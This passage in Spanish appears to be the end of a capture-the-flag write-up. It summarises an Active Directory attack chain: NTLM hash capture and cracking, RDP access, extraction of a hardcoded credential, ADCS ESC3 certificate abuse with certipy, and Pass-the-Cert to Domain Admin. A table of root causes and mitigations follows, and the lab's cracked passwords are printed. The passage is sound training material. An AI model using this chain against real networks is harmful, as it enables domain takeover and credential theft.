└─ tshark -> hashcat 5600 -> john/rockyou ──> victor.garcia:pacheco
(6) victor ∈ Remote Desktop Users -> RDP al DC (xfreerdp/Xvfb)
└─ C:\tools\NetStatus.exe (strings) ──> francisca.gonzalez:latina1
(7) ADCS ESC3 (certipy, -timeout 120):
UserCA (Enrollment Agent) ──firma──> UserCAn on-behalf-of Administrador ──> administrador.pfx
(8) PKINIT NO soportado -> Pass-the-Cert (Schannel/LDAPS)
└─ add victor.garcia -> "Admins. del dominio" => Domain Admin
(9) smbclient //DC/C$ -> C:\Users\Administrador\Documents\root.txt [FLAG ROOT]
Causas raíz y mitigación
| # | Fallo | Causa raíz | Mitigación |
|---|---|---|---|
| 1 | SQLi en User-Agent |
Cabecera concatenada en SQL sin parametrizar | Consultas preparadas / prepared statements; validar y no confiar en cabeceras |
| 2 | Fuga de errores SQL | APP_DEBUG=true en un entorno accesible |
APP_DEBUG=false en producción; ocultar stack traces |
| 3 | Contraseña de admin débil | killer está en rockyou |
Contraseñas fuertes; bloqueo/tiempo tras intentos fallidos |
| 4 | Módulo “Shell” en el panel | RCE por diseño accesible tras login | Quitar módulos peligrosos; segmentar; WAF |
| 5 | Reutilización de contraseña .env→ian |
Misma clave para BD y usuario del SO | Credenciales distintas por servicio; secretos gestionados |
| 6 | sudo a arpspoof/tcpdump |
Permisos de red excesivos a un usuario | Principio de mínimo privilegio; evitar NOPASSWD a binarios abusables |
| 7 | Credencial en texto claro dentro de un .exe |
NetStatus.exe incrusta francisca:latina1 |
Nunca hardcodear credenciales; usar gMSA/cuentas gestionadas o Credential Manager |
| 8 | Plantillas ADCS ESC3 | UserCA/UserCAn permiten agente de inscripción + on-behalf-of |
Restringir permisos de inscripción; quitar EKU de agente; Manager Approval; auditar con certipy find -vulnerable |
| 9 | Pass-the-Cert a Domain Admin | Cert de Administrador válido para Schannel/LDAPS | Strong Certificate Binding Enforcement; canal seguro/Channel Binding; monitorizar emisiones de certificados |
«El saber se puede comunicar, pero no la sabiduría.»
— Hermann Hesse, Siddhartha
